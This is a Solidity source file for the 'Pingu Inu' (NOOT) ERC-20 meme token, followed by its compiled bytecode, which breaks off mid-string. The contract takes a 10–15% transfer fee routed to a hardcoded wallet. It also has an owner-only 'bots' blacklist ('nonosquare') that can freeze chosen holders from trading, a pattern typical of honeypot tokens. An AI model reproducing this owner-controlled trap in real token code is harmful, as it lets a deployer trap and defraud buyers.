░░▄█████████████████████████████████████▄▒░░░▄▄██████████▀ ▒▒▒▒▒▒▒░░░░░░░▄████████████████████████▀▒▒╢╣╢╣▒▀██████████████████████▀ ░░░░░░░░░░ ░▄███████████████████████▀▒╣▒▒╜░''''╙▒▒▒█████████████████▀░░ ▒░░ ╓███████████████████████▀╣▒▒░` ░▒▀████████████▀░░░░ ░░░ ▄██████████████████████▀▒▒▒░ ░▒██████▀▀░░░░░░░░░ */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NOOT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Pingu Inu"; string private constant _symbol = "NOOT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xfCF7F4802DBb5b5a8758f0De858f7a578f60Dc18); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 15; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e29565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612930565b6104b4565b60405161018e9190612e0e565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612970565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128dd565b61060c565b60405161021f9190612e0e565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612843565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613040565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129b9565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a13565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612843565b6109db565b6040516103199190612fcb565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d40565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e29565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612930565b610c9a565b6040516103da9190612e0e565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a13565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289d565b6113c1565b60405161046e9190612fcb565b60405180910390f35b60606040518060400160405280600981526020017f50696e677520496e750000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611448565b8484611450565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0b565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b613388565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e1565b91505061057a565b5050565b600061061984848461161b565b6106da84610625611448565b6106d58560405180606001604052806028815260200161374760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b611448565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cae9092919063ffffffff16565b611450565b600190509392505050565b6106ed611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e6611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0b565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610898611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0b565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa611448565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd7565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e43565b9050919050565b610a34611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b87611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0b565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e4f4f5400000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca7611448565b848461161b565b6001905092915050565b610cc0611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0b565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb1565b50565b610e13611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0b565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611450565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612870565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612870565b6040518363ffffffff1660e01b81526004016110b4929190612d5b565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612870565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612dad565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a40565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127660646112686002670de0b6b3a7640000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f819055506112ab606461129d6003670de0b6b3a7640000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136b929190612d84565b602060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd91906129e6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160e9190612fcb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290612f4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290612e4b565b60405180910390fd5b6000811161173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590612f2b565b60405180910390fd5b6000600a81905550600a600b81905550611756610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600e60179054906101000a900460ff165b15611acd57600f548111156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090612e6b565b60405180910390fd5b601054816119e6846109db565b6119f09190613101565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612f6b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b601e42611a899190613101565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b785750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bce5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be4576000600a81905550600f600b819055505b6000611bef306109db565b9050600e60159054906101000a900460ff16158015611c5c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c745750600e60169054906101000a900460ff165b15611c9c57611c8281611eb1565b60004790506000811115611c9a57611c9947611dd7565b5b505b505b611ca9838383612139565b505050565b6000838311158290611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced9190612e29565b60405180910390fd5b5060008385611d0591906131e2565b9050809150509392505050565b600080831415611d255760009050611d87565b60008284611d339190613188565b9050828482611d429190613157565b14611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7990612eeb565b60405180910390fd5b809150505b92915050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b5050565b6000600854821115611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190612e8b565b60405180910390fd5b6000611e946121ac565b9050611ea98184611d8d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86133b7565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120099190612870565b8160018151811061201d5761201c613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611450565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120e8959493929190612fe6565b600060405180830381600087803b15801561210257600080fd5b505af1158015612116573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121448383836121d7565b505050565b60008083118290612190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121879190612e29565b60405180910390fd5b506000838561219f9190613157565b9050809150509392505050565b60008060006121b96123a2565b915091506121d08183611d8d90919063ffffffff16565b9250505090565b6000806000806000806121e987612401565b95509550955095509550955061224786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881612511565b61233284836125ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161238f9190612fcb565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d6670de0b6b3a7640000600854611d8d90919063ffffffff16565b8210156123f457600854670de0b6b3a76400009350935050506123fd565b81819350935050505b9091565b600080600080600080600080600061241e8a600a54600b54612608565b925092509250600061242e6121ac565b905060008060006124418e87878761269e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cae565b905092915050565b60008082846124c29190613101565b905083811015612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fe90612ecb565b60405180910390fd5b8091505092915050565b600061251b6121ac565b905060006125328284611d1290919063ffffffff16565b905061258681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e38260085461246990919063ffffffff16565b6008819055506125fe816009546124b390919063ffffffff16565b6009819055505050565b6000806000806126346064612626888a611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061265e6064612650888b611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061268782612679858c61246990919063ffffffff16565b61246990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b78589611d1290919063ffffffff16565b905060006126ce8689611d1290919063ffffffff16565b905060006126e58789611d1290919063ffffffff16565b9050600061270e82612700858761246990919063ffffffff16565b61246990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273a61273584613080565b61305b565b9050808382526020820190508285602086028201111561275d5761275c6133eb565b5b60005b8581101561278d57816127738882612797565b845260208401935060208301925050600181019050612760565b5050509392505050565b6000813590506127a681613701565b92915050565b6000815190506127bb81613701565b92915050565b600082601f8301126127d6576127d56133e6565b5b81356127e6848260208601612727565b91505092915050565b6000813590506127fe81613718565b92915050565b60008151905061281381613718565b92915050565b6000813590506128288161372f565b92915050565b60008151905061283d8161372f565b92915050565b600060208284031215612859576128586133f5565b5b600061286784828501612797565b91505092915050565b600060208284031215612886576128856133f5565b5b6000612894848285016127ac565b91505092915050565b600080604083850312156128b4576128b36133f5565b5b60006128c285828601612797565b92505060206128d385828601612797565b9150509250929050565b6000806000606084860312156128f6576128f56133f5565b5b600061290486828701612797565b935050602061291586828701612797565b925050604061292686828701612819565b9150509250925092565b60008060408385031215612947576129466133f5565b5b600061295585828601612797565b925050602061296685828601612819565b9150509250929050565b600060208284031215612986576129856133f5565b5b600082013567ffffffffffffffff8111156129a4576129a36133f0565b5b6129b0848285016127c1565b91505092915050565b6000602082840312156129cf576129ce6133f5565b5b60006129dd848285016127ef565b91505092915050565b6000602082840312156129fc576129fb6133f5565b5b6000612a0a84828501612804565b91505092915050565b600060208284031215612a2957612a286133f